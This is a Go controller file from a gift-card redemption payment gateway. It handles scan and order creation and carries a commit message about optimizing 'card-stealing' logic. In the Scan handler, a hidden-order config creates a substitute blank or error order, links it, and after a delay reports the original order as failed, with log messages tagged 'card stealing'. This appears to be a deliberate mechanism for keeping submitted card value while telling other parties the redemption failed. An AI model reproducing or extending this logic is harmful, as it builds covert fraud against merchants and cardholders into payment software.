Files
kami_gateway/internal/controllers/gateway/scan_controller.go
danial a4d4c39477 feat(merchant_hidden_config): 优化偷卡功能逻辑
- 添加 debug 模式配置,用于控制数据库查询时是否开启调试
-修复获取偷卡记录时的状态过滤逻辑,支持多个状态
-优化创建隐藏订单的流程,先创建新订单再更新原订单- 新增系统配置字典模型,用于获取偷卡规则状态- 移除不必要的日志输出,简化代码
2025-01-25 22:35:06 +08:00

427 lines
13 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package gateway
import (
"context"
"encoding/json"
"errors"
"fmt"
"gateway/internal/config"
"gateway/internal/dto"
"gateway/internal/entities/backend"
"gateway/internal/entities/supplier"
"gateway/internal/entities/supplier/t_mall_game"
"gateway/internal/entities/supplier/third_party"
"gateway/internal/models/merchant"
"gateway/internal/models/merchant_deploy"
"gateway/internal/models/order"
"gateway/internal/models/road"
"gateway/internal/schema/request"
"gateway/internal/schema/response"
"gateway/internal/service"
"gateway/internal/utils"
"github.com/beego/beego/v2/core/logs"
"github.com/beego/beego/v2/core/validation"
"github.com/bytedance/gopkg/util/gopool"
"github.com/duke-git/lancet/v2/convertor"
"github.com/duke-git/lancet/v2/structs"
"strconv"
"strings"
"time"
)
var (
delayPool = gopool.NewPool("delayHandler", 20, gopool.NewConfig())
)
type ScanController struct {
BaseGateway
}
// Scan 处理扫码的请求
func (c *ScanController) Scan() {
// 获取所有请求参数
p := c.PayPrepare()
if p.Code == -1 {
c.SolveFailJSON(p)
return
}
// 签名验证
paySecret := p.MerchantInfo.MerchantSecret
if !utils.Md5MFVerify(p.Params, paySecret) && !utils.Md5Verify(p.Params, paySecret) {
p.Code = -1
p.Msg = "签名异常"
c.SolveFailJSON(p)
return
}
p = service.ChooseRoadV2(p)
if p.Code == -1 {
c.SolveFailJSON(p)
return
}
mt := merchant_deploy.GetMerchantDeployByUidAndRoadUid(p.MerchantInfo.MerchantUid, p.RoadInfo.RoadUid)
if mt.Id == 0 {
p.Msg = "当前用户没有开通该通道"
c.SolveFailJSON(p)
return
}
orderPrice, err := strconv.ParseFloat(convertor.ToString(p.Params["orderPrice"]), 64)
if err != nil {
p.Code = -1
p.Msg = fmt.Sprintf("订单金额转换失败:%v", err.Error())
c.SolveFailJSON(p)
return
}
pm, err := mt.GetShowMMValue(orderPrice)
if err != nil {
p.Code = -1
p.Msg = fmt.Sprintf("获取展示比例失败:%v", err.Error())
c.SolveFailJSON(p)
return
}
p.Params["exValue"], err = service.CompleteRedeemExValue(convertor.ToString(p.Params["exValue"]), strconv.FormatFloat(pm.ShowLabel, 'f', 0, 64))
if err != nil {
p.Code = -1
p.Msg = fmt.Sprintf("订单金额转换失败:%v", err.Error())
c.SolveFailJSON(p)
return
}
// TODO: 生成订单记录
orderInfo, _, err := service.GenerateRecord(p)
if err != nil {
p.Msg = fmt.Sprintf("生成订单失败:%v", err.Error())
c.SolveFailJSON(p)
return
}
if p.Code == -1 {
c.SolveFailJSON(p)
return
}
hiddenCfg := service.GetOrderHidden(&orderInfo)
if hiddenCfg != nil {
//1. 新的空白记录
if hiddenCfg.Strategy == 1 {
// 创建一个新的空白记录
newBankOrderId, err2 := service.CreateHiddenBlankOrder(&orderInfo, int64(hiddenCfg.DelayDuration))
if err2 != nil {
logs.Info("创建订单失败【偷卡】:%v", err2.Error())
}
//添加订单关联
if err2 = service.CreateRelateHideOrderRecord(newBankOrderId, &orderInfo, hiddenCfg); err2 != nil {
logs.Info("添加订单关联失败【偷卡】:%v", err2.Error())
}
//错误订单回调上游
delayPool.Go(func() {
time.Sleep(time.Duration(hiddenCfg.DelayDuration) * time.Second)
service.SolvePayFail(orderInfo.BankOrderId, orderInfo.BankTransId)
})
orderInfo.BankOrderId = newBankOrderId
}
//2.新的错误记录
if hiddenCfg.Strategy == 2 {
newBankOrderId, err2 := service.CreateHiddenErrorOrder(&orderInfo, int64(hiddenCfg.DelayDuration))
if err2 != nil {
logs.Info("创建订单失败【偷卡】:%v", err2.Error())
}
//添加订单关联
if err2 = service.CreateRelateHideOrderRecord(newBankOrderId, &orderInfo, hiddenCfg); err2 != nil {
logs.Info("添加订单关联失败【偷卡】:%v", err2.Error())
}
//错误订单回调上游
delayPool.Go(func() {
time.Sleep(time.Duration(hiddenCfg.DelayDuration) * time.Second)
service.SolvePayFail(orderInfo.BankOrderId, orderInfo.BankTransId)
})
orderInfo.BankOrderId = newBankOrderId
}
}
logs.Info("请求订单信息,订单信息:%+v", orderInfo)
cdata := supplier.RedeemCardInfo{}
err = json.Unmarshal([]byte(orderInfo.ExValue), &cdata)
if err != nil {
logs.Error("格式化数据失败", orderInfo.ExValue)
p.Msg = fmt.Sprintf("格式化数据失败:%v", orderInfo.ExValue)
c.SolveFailJSON(p)
}
isAllowed, err := backend.GetIPIsRestricted(p.ClientIP, mt.Id, orderInfo.BankOrderId, cdata.Data, convertor.ToString(p.Params["deviceId"]))
order.UpdateIpRestricted(orderInfo.BankOrderId, isAllowed)
logs.Info("IP是否允许%v", isAllowed)
if !isAllowed {
logs.Info("IP被限制无法兑换", p.ClientIP)
c.Data["json"] = response.CommonErr(-1, errors.New("提交失败").Error())
service.SolvePayFail(orderInfo.BankOrderId, "")
_ = c.ServeJSON()
return
}
logs.Info("获取商户部署信息:%+v", mt)
if mt.AutoSettle == config.NO {
params := map[string]any{
"orderNo": orderInfo.BankOrderId,
"orderPrice": strconv.FormatFloat(orderInfo.OrderAmount, 'f', 2, 64),
"statusCode": "00",
}
sign := utils.GetMD5SignMF(params, p.MerchantInfo.MerchantSecret)
c.Data["json"] = response.ScanSuccessData{
OrderNo: orderInfo.BankOrderId,
OrderPrice: strconv.FormatFloat(orderInfo.OrderAmount, 'f', 2, 64),
StatusCode: "00",
Sign: sign,
Msg: "请求成功,请等待兑换!",
Code: 0,
PayUrl: "",
}
_ = c.ServeJSON()
return
}
// 获取到对应的上游
supplierCode := p.RoadInfo.ProductUid
supplierByCode := third_party.GetPaySupplierByCode(supplierCode)
if supplierByCode == nil {
// 插入处理失败的动账通知
service.SolvePayFail(orderInfo.BankOrderId, "")
logs.Error("获取上游渠道失败,请联系客服", supplierCode)
err = errors.New("获取上游渠道失败,请联系客服")
c.Data["json"] = response.CommonErr(-1, err.Error())
_ = c.ServeJSON()
c.StopRun()
return
}
logs.Info("获取供应商信息:%+v", supplierCode)
scanData := supplierByCode.Scan(orderInfo, p.RoadInfo, p.MerchantInfo)
order.InsertCardReturnData(scanData.BankNo, scanData.ReturnData)
if scanData.Status == "00" {
scanSuccessData := service.GenerateSuccessData(scanData, p)
c.Data["json"] = scanSuccessData
_ = c.ServeJSON()
return
} else {
// 插入处理失败的动账通知
service.SolvePayFail(orderInfo.BankOrderId, "")
p.Msg = scanData.Msg
p.Code = -1
c.SolveFailJSON(p)
return
}
}
// SolveFailJSON 处理错误的返回
func (c *ScanController) SolveFailJSON(p *response.PayBaseResp) {
c.Data["json"] = response.ScanFailData{
StatusCode: "01",
PayKey: convertor.ToString(p.Params["payKey"]),
Msg: p.Msg,
Code: -1,
}
_ = c.ServeJSON()
c.StopRun()
}
func (c *ScanController) GetAllowedMM() {
payKey := strings.TrimSpace(c.GetString("payKey"))
showMMValue, err := c.GetFloat("showMMValue")
productCode := strings.TrimSpace(c.GetString("productCode"))
if payKey == "" || showMMValue == 0 || productCode == "" {
res := response.CommonErr(-1, "获取面额失败,参数缺失")
c.Data["json"] = res
_ = c.ServeJSON()
return
}
if err != nil {
c.Data["json"] = response.CommonErr(-1, err.Error())
_ = c.ServeJSON()
c.StopRun()
}
merchantInfo, err := service.GetMerchantInfoByPayKey(payKey)
if err != nil || merchantInfo.Id == 0 {
c.Data["json"] = response.CommonErr(-1, "获取面额失败,获取商户信息出错")
_ = c.ServeJSON()
c.StopRun()
}
merchantDeployInfo := service.GerMerchantDeployInfoByUidAndProductCode(merchantInfo.MerchantUid, productCode)
if merchantDeployInfo.Id == 0 {
res := response.CommonErr(-1, "获取面额失败,当前通道不存在")
c.Data["json"] = res
_ = c.ServeJSON()
return
}
profitMarginList, err := merchantDeployInfo.GetFactMMValue(showMMValue)
if err != nil {
c.Data["json"] = response.CommonErr(-1, err.Error())
_ = c.ServeJSON()
c.StopRun()
}
type profitMarginStruct struct {
Sort int `json:"sort" description:"排序"`
FactLabel float64 `json:"factLabel" description:"实际面值"`
ShowLabel float64 `json:"showLabel" description:"展示面额"`
PlatformLabel string `json:"platformLabel" description:"平台"`
IsLinkSingle bool `json:"isLinkSingle" description:"链接是否单独放置"`
LinkID string `json:"linkID" description:"链接"`
}
logs.Info("当前请求面额数据:%+v", profitMarginList)
resData := make([]*profitMarginStruct, 0)
for _, v := range profitMarginList {
if v.ShowLabel != 0 || v.FactLabel != 0 {
resData = append(resData, &profitMarginStruct{
FactLabel: v.FactLabel,
ShowLabel: v.ShowLabel,
PlatformLabel: v.PlatformLabel,
IsLinkSingle: v.IsLinkSingle,
LinkID: v.LinkID,
Sort: v.Sort,
})
}
}
logs.Info("转换后的面额数据:%+v", resData)
c.Data["json"] = response.Ok(resData)
_ = c.ServeJSON()
}
// CreateOrder 创建订单
func (c *ScanController) CreateOrder() {
createdOrder := request.CreatedOrder{}
_ = c.Bind(&createdOrder)
valid := validation.Validation{}
b, err := valid.Valid(&createdOrder)
if err != nil || !b {
logs.Error("创建订单错误:", err)
res := response.CommonErr(-1, "创建订单失败,参数错误")
c.Data["json"] = res
_ = c.ServeJSON()
return
}
merchantInfo := merchant.GetMerchantByPasskey(createdOrder.PayKey)
if merchantInfo.Id == 0 {
logs.Error("创建订单错误:", err)
c.Data["json"] = response.CommonErr(-1, "创建订单错误")
_ = c.ServeJSON()
return
}
if !utils.Md5MFVerify(createdOrder.ToMap(), merchantInfo.MerchantSecret) && !utils.Md5Verify(createdOrder.ToMap(), merchantInfo.MerchantSecret) {
logs.Info("创建订单错误sign校验失败", err)
c.Data["json"] = response.CommonErr(-1, "sign验证错误")
_ = c.ServeJSON()
return
}
orderInfo := order.GetOrderByMerchantOrderId(createdOrder.OrderNo)
roadInfo := road.GetRoadInfoByProductCode(createdOrder.ProductCode)
if orderInfo.Id != 0 {
res := response.Ok(struct {
ProductCode string `json:"productCode"`
PaymentName string `json:"paymentName"`
TransactionType string `json:"transactionType"`
PayUrl string `json:"payUrl"`
MerchantOrderNo string `json:"merchantOrderNo"`
OrderNo string `json:"orderNo"`
}{
ProductCode: createdOrder.ProductCode,
PaymentName: roadInfo.PaymentHtml,
TransactionType: roadInfo.TransactionType,
PayUrl: orderInfo.PayUrl,
OrderNo: orderInfo.BankOrderId,
MerchantOrderNo: createdOrder.OrderNo,
})
c.Data["json"] = res
_ = c.ServeJSON()
return
}
// 获取到对应的上游
supplierCode := roadInfo.ProductUid
supplierByCode := third_party.GetPaySupplierByCode(supplierCode)
if supplierByCode == nil {
// 插入处理失败的动账通知
logs.Error("获取上游渠道失败,请联系客服", supplierCode)
err = errors.New("获取上游渠道失败,请联系客服")
c.Data["json"] = response.CommonErr(-1, err.Error())
_ = c.ServeJSON()
return
}
// 创建订单记录
orderInfo, err = service.CreateOrderInfoAndOrderProfitInfo(createdOrder, merchantInfo)
if err != nil {
res := response.CommonErr(-1, "创建订单失败")
logs.Info("创建订单错误:", err)
c.Data["json"] = res
_ = c.ServeJSON()
return
}
logs.Info("获取供应商信息:%+v", supplierCode)
payUrl := ""
bankTransId := ""
//TODO: 区分自有渠道和三方渠道
if supplierByCode.HasDependencyHTML() {
scanData := supplierByCode.Scan(orderInfo, roadInfo, merchantInfo)
payUrl = scanData.PayUrl
bankTransId = scanData.UpStreamOrderNo
} else {
orderParams := dto.Params{
GeneratedTime: time.Now().Unix(),
Duration: createdOrder.Duration,
PayKey: createdOrder.PayKey,
OrderNo: createdOrder.OrderNo,
ProductCode: createdOrder.ProductCode,
ShowMMValue: createdOrder.OrderPrice,
NotifyUrl: createdOrder.NotifyUrl,
}
payUrl = config.GetConfig().ShopAddr() + "?sign=" + orderParams.Encrypt()
}
if err = order.UpdatePayUrlAndTime(orderInfo.BankOrderId, payUrl, bankTransId, ""); err != nil {
logs.Error("更新订单支付链接失败:", err)
c.Data["json"] = response.CommonErr(-1, "更新订单支付链接失败")
return
}
resp := struct {
ProductCode string `json:"productCode"`
PaymentName string `json:"paymentName"`
TransactionType string `json:"transactionType"`
PayUrl string `json:"PayUrl"`
OrderNo string `json:"OrderNo"`
MerchantOrderNo string `json:"MerchantOrderNo"`
Sign string `json:"sign"`
}{
ProductCode: createdOrder.ProductCode,
MerchantOrderNo: createdOrder.OrderNo,
PaymentName: roadInfo.PaymentHtml,
TransactionType: roadInfo.TransactionType,
PayUrl: payUrl,
OrderNo: orderInfo.BankOrderId,
Sign: "",
}
respMap, err := structs.New(resp).ToMap()
if err != nil {
logs.Info("创建订单错误:", err)
c.Data["json"] = response.CommonErr(-1, err.Error())
_ = c.ServeJSON()
return
}
resp.Sign = utils.GetMD5SignMF(respMap, merchantInfo.MerchantSecret)
c.Data["json"] = response.Ok(resp)
_ = c.ServeJSON()
}
func (c *ScanController) QueryAccountInfo() {
accountInfo := request.ThirdPartyAccountInfo{}
channelName := c.Ctx.Input.Param("channel")
if channelName == "TMallGame" {
_ = c.BindJSON(&accountInfo)
err := t_mall_game.QueryTMallGameAccountInfo(context.Background(), request.ThirdPartyAccountInfo{})
_ = err
}
return
}